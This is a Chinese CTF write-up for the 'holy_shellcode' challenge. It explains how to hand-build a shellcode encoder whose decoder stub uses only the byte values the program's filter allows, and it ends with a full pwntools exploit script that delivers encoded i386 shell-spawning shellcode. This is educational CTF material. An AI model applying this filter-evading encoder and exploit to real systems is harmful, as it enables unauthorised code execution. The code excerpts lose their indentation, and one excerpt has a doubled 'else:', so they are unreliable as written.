0%

Shellcode加密原理之自己动手写加密器

shellcode是一段用于利用软件漏洞而执行的代码,在实际的软件中,某些软件对允许输入的字符范围做了限制,导致检测到非法字符,从而无法成功输入shellcode。这时就需要加密shellcode。谷歌有一个开源工具ALPHA 3,可以将shellcode加密为全ascii可见字符。其大致原理根本文我们讲的是差不多的。

本文,我们要自己实现一个shellcode加密。我们就从攻防世界的一题holy_shellcode来看吧。这题的附件,攻防世界上没有,到这里下载https://pwn-1253291247.cos.ap-chengdu.myqcloud.com/holy_shellcode

我们用IDA分析一下

这里会把shellcode[i]和shellcode[i+1]替换为固定值

那么,我们必须要让i的值尽可能大,这样,在前面我们才能放置解密代码。我们来看看filter函数

有一个循环,循环到a1结束,而a1是传入的参数0xFA0,而最后函数返回的是i,那么我们想让i尽可能大,就是要让这个循环一直做到完,而不会中途返回

只要我们的shellcode里面字符在某个范围,就不会return。经过我们的分析,程序把我们输入的字符串分成2字节一组,当后一字节为0x05时,检查前一字节允许的范围;当后一字节为0xFB时,检查前一字节允许的范围。我们分析出的范围如下

1
2
3
4
#后一个字节是05,允许的字节码范围  
opcode_05_allowed = range(145,200) + range(208,235) + range(240,245)
#后一个字节是fb,允许的字节码范围
opcode_fb_allowed = range(31,41) + range(42,55) + range(56,61) + [62,64]

我们要利用这些范围内的字符,构造解密函数。我们找到一个比较重要的指令**[stosb]{.mark},在i386上,它的机器码为0xAA,在opcode_05_allowed的范围内。[这条指令的作用是将eax的低一字节al里面的数据写入到edi所指向的地址处,同时edi加1。]{.mark}**

那么,我们可以**[将数据放在eax的1字节寄存器al里,利用stosb写到指定的位置处。]{.mark}显然,上面允许的范围不能直接表示字节范围0~0xFF的所有,但是,[我们可以通过加减法来凑出其他数据]{.mark}**,通过对eax的加减法,让al里的数据变成我们需要表示的数据,然后再用stosb传送即可。于是,我们又有了这些范围

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#可以通过一次加法得到的字节码范围  
#其中a来自opcode_05_allowed,b来自opcode_fb_allowed
opcode_can_add_possible = {}
for a in opcode_05_allowed:
for b in opcode_fb_allowed:
x = a + b
if x <= 0xFF:
arr = [a,b]
opcode_can_add_possible[x] = arr
#可以通过一次减法得到的字节码范围
opcode_can_sub_possible = {}
for a in opcode_05_allowed:
for b in opcode_fb_allowed:
x = a - b
if x > 0:
arr = [a,b]
opcode_can_sub_possible[x] = arr
for a in opcode_05_allowed:
for b in opcode_05_allowed:
x = a - b
if x >= 0:
arr = [a,b]
opcode_can_sub_possible[x] = arr

经过输出观察上面这四个数组里的数据,发现已经可以表示出0~0xFF的所有字节了。如果还不能表示,我们可以再多几个运算,直到可以表示即可。

而我们发现还有一条指令**[add eax,0x12345678这条5字节指令,add eax正好是0x05]{.mark},这样有助于我们凑出0x05字节,用作对前一字节的限定。此外,[repne是一条1字节指令,机器码为0Xf2,范围在]{.mark}opcode_05_allowed[允许的范围内,并且本次这个程序的ecx值为1,所以有repne和没有repne的作用是一样的,那么,这条指令也可以用来填充add eax,0xXXXXXXXX指令]{.mark}**

当然,本程序由于缺陷,第一次在0x05的范围内,即使被check 1了,也没关系

只需保证第二次的时候,check 0,那么第三次就可以继续循环了。

那么,咱们开始来来写解密代码吧。

首先,我们需要给edi赋值一个地址,用于存放我们解密后的shellcode。程序中,eax存放了我们输入的加密的shellcode的地址。

那么,我们先把eax与edi的值交换一下,这样,edi里就有我们当前自己这个shellcode本身的地址。使用指令xchg eax,edi,这是一条一字节指令,字节码范围在05的范围内,于是,我们得在后面填充一个0x5字节,此时,我们就可以用add eax,0xXXXXXXXX来填充。然后,我们让edi加上一定的偏移,这样我们放解密的shellcode到那里。我们可以对edi进行两次异或**[‘x33xFB’ 正好是xor edi,ebx指令,并且在允许的范围内。]{.mark}**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def init_edi():  
#=======================将将shellcode地址放到edi里,并将edi+0x700,我们解密后的shellcode将会放到edi+0x700处====================
#将shellcode地址放到edi里
sc = asm('xchg eax,edi')
#这个数据没用,只是为了凑出字05字节,绕过检查
sc += asm('add eax,0xFB32FB32')
#这里六句的目的是让edi加0x700,也就是,我们解密时shellcode将会放到shllcode+0x700处
sc += asm('mov ebx,0xF0FB2305')
#这个数据没用,只是为了凑出字05字节,绕过检查
sc += asm('add eax,0xFB32FB32')
sc += '\x33\xFB' #xor edi,ebx
sc += asm('mov ebx,0xF0FB2A05')
#这个数据没用,只是为了凑出字05字节,绕过检查
sc += asm('add eax,0xFB32FB32')
sc += '\x33\xFB' #xor edi,ebx
return sc
#============================================================================================================================

上面的运算,其实就是edi = edi ^ 0xF0FB2305 ^ 0xF0FB2A05 = edi ^ 0x300 ^ 0xA00 = edi ^ 0x900经过调试,edi最终加了0x700。

初始化了edi以后,我们就可以用add eax,xxxxxxx等一系列的计算,让al为我们需要的数据,然后利用stosb传送到edi指向的地址处即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#将al加上指定数  
def add_al_xx(data):
#ecx是1,绕过ecx不是1,则还需改一下,但是本程序ecx是1
#因此功能上不加rep和加rep是一样的
#这里的rep只是起到填充的作用,使得05位于偶数位置
sc = '\xF2' #repne
if data in opcode_fb_allowed:
print '{} -> {}'.format(hex(data),hex(data))
sc += asm('add eax,0xFB32FB' + hex(data)[2:]) #我们只需要把数据放eax的最后一字节即可
elif data in opcode_05_allowed:
print '{} -> {}'.format(hex(data),hex(data))
sc += asm('add eax,0xFB3205' + hex(data)[2:])
else:
if data in opcode_can_add_possible:
a = opcode_can_add_possible[data][0]
b = opcode_can_add_possible[data][1]
print '{} -> {} + {}'.format(hex(data),hex(a),hex(b))
sc += asm('add eax,0xFB3205' + hex(a)[2:])
sc += add_al_xx(b) #递归调用
elif data in opcode_can_sub_possible:
a = opcode_can_sub_possible[data][0]
b = opcode_can_sub_possible[data][1]
print '{} -> {} - {}'.format(hex(data),hex(a),hex(b))
sc += asm('add eax,0xFB3205' + hex(a)[2:])
#注意,为了不影响指令,我们这里仍然用add指令,而不是sub指令,只不过,我们传入的数据是0x100-b,也就是得到-b的补码
sc += add_al_xx(0x100-b) #递归调用
else:
else:
print '字节(',hex(data),')不在允许的范围内,无法完成加密!'
exit()
return sc

我们在用add_al_xx的时候,还需要先把al清零,我们可以利用减法,但是减法指令的机器码范围在0xFB的范围,这意味着,我们只能sub al,0xFB,而mov al指令机器码范围在0x5的范围内,这意味着,我们只能mov al,0x5。那么我们想让al为0,可以这样,让al = 0x5 + 0xF1,然后sub al,0xFB两次,这会造成al溢出,但是没关系,最后al会变成0。

1
2
#目的是让al为0,计算为0x5+0xF1-0xFB-0xFB = 0,也就是发生了溢出  
mov_al_0 = asm('mov al,0x5') + add_al_xx(0xF1) + asm('sub al,0xFB')*2

有了这些,我们就可以开始编码了

1
2
3
4
5
6
7
8
9
10
11
12
13
#加密1个字节数据  
def genData(data):
#设置al为0
sc = mov_al_0
#设置al为我们的数据
sc += add_al_xx(data)
#print binascii.b2a_hex(sc)
#raw_input()
#将al里的数据写到edi所指向的地址,同时edi加1
sc += asm('stosb')
#这里也只是起到填充的作用
sc += asm('add eax,0xFB32FB32')
return sc

最后,我们只需要在结尾填充n个无用而不会被check的指令,直到填到解密后的shellcode处停止,这样是为了让程序能够运行到我们的解密后的shellcode处。如果jmp指令范围在内,我们可以直接jmp,但是jmp指令机器码超出了这个程序允许的范围。

因特尔指令参考http://ref.x86asm.net/coder32.html手册

综上,我们的加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#coding:utf8  
from pwn import asm,shellcraft,context,process,remote
import binascii

context(os='linux',arch='i386')
#sh = remote('111.198.29.45',47277)
sh = process('./holy_shellcode')

#后一个字节是05,允许的字节码范围
opcode_05_allowed = range(145,200) + range(208,235) + range(240,245)
#后一个字节是fb,允许的字节码范围
opcode_fb_allowed = range(31,41) + range(42,55) + range(56,61) + [62,64]
#可以通过一次加法得到的字节码范围
#其中a来自opcode_05_allowed,b来自opcode_fb_allowed
opcode_can_add_possible = {}
for a in opcode_05_allowed:
for b in opcode_fb_allowed:
x = a + b
if x <= 0xFF:
arr = [a,b]
opcode_can_add_possible[x] = arr
#可以通过一次减法得到的字节码范围
opcode_can_sub_possible = {}
for a in opcode_05_allowed:
for b in opcode_fb_allowed:
x = a - b
if x > 0:
arr = [a,b]
opcode_can_sub_possible[x] = arr
for a in opcode_05_allowed:
for b in opcode_05_allowed:
x = a - b
if x >= 0:
arr = [a,b]
opcode_can_sub_possible[x] = arr


#经过验证,上面的5个数组范围已经能表示0~0xFF的值了
'''''x = opcode_05_allowed + opcode_fb_allowed + opcode_can_add_possible.keys() + opcode_can_sub_possible.keys()
x = list(set(x))
#print len(x)
for i in x:
print hex(i)
'''

def init_edi():
#=======================将将shellcode地址放到edi里,并将edi+0x700,我们解密后的shellcode将会放到edi+0x700处====================
#将shellcode地址放到edi里
sc = asm('xchg eax,edi')
#这个数据没用,只是为了凑出字05字节,绕过检查
sc += asm('add eax,0xFB32FB32')
#这里六句的目的是让edi加0x700,也就是,我们解密时shellcode将会放到shllcode+0x700处
sc += asm('mov ebx,0xF0FB2305')
#这个数据没用,只是为了凑出字05字节,绕过检查
sc += asm('add eax,0xFB32FB32')
sc += '\x33\xFB' #xor edi,ebx
sc += asm('mov ebx,0xF0FB2A05')
#这个数据没用,只是为了凑出字05字节,绕过检查
sc += asm('add eax,0xFB32FB32')
sc += '\x33\xFB' #xor edi,ebx
return sc
#============================================================================================================================

#将al加上指定数
def add_al_xx(data):
#ecx是1,绕过ecx不是1,则还需改一下,但是本程序ecx是1
#因此功能上不加rep和加rep是一样的
#这里的rep只是起到填充的作用,使得05位于偶数位置
sc = '\xF2' #repne
if data in opcode_fb_allowed:
print '{} -> {}'.format(hex(data),hex(data))
sc += asm('add eax,0xFB32FB' + hex(data)[2:]) #我们只需要把数据放eax的最后一字节即可
elif data in opcode_05_allowed:
print '{} -> {}'.format(hex(data),hex(data))
sc += asm('add eax,0xFB3205' + hex(data)[2:])
else:
if data in opcode_can_add_possible:
a = opcode_can_add_possible[data][0]
b = opcode_can_add_possible[data][1]
print '{} -> {} + {}'.format(hex(data),hex(a),hex(b))
sc += asm('add eax,0xFB3205' + hex(a)[2:])
sc += add_al_xx(b) #递归调用
elif data in opcode_can_sub_possible:
a = opcode_can_sub_possible[data][0]
b = opcode_can_sub_possible[data][1]
print '{} -> {} - {}'.format(hex(data),hex(a),hex(b))
sc += asm('add eax,0xFB3205' + hex(a)[2:])
#注意,为了不影响指令,我们这里仍然用add指令,而不是sub指令,只不过,我们传入的数据是0x100-b,也就是得到-b的补码
sc += add_al_xx(0x100-b) #递归调用
else:
print '字节(',hex(data),')不在允许的范围内,无法完成加密!'
exit()
return sc

#目的是让al为0,计算为0x5+0xF1-0xFB-0xFB = 0,也就是发生了溢出
mov_al_0 = asm('mov al,0x5') + add_al_xx(0xF1) + asm('sub al,0xFB')*2


#加密1个字节数据
def genData(data):
#设置al为0
sc = mov_al_0
#设置al为我们的数据
sc += add_al_xx(data)
#print binascii.b2a_hex(sc)
#raw_input()
#将al里的数据写到edi所指向的地址,同时edi加1
sc += asm('stosb')
#这里也只是起到填充的作用
sc += asm('add eax,0xFB32FB32')
return sc

def compileShellcode(shell):
shellcode = init_edi()
for data in shell: #加密shellcode
shellcode += genData(ord(data))
length = len(shellcode)
#填充剩余的空间
padding = 0x700 - length
if padding < 0:
print '错误,解密逻辑过长,请调整解密的汇编代码。'
exit()
for i in range(0,padding,2):
shellcode += asm('sub al,0xFB')
return shellcode

shell = asm(shellcraft.i386.linux.sh())
shellcode = compileShellcode(shell)
sh.sendline(shellcode)

sh.interactive()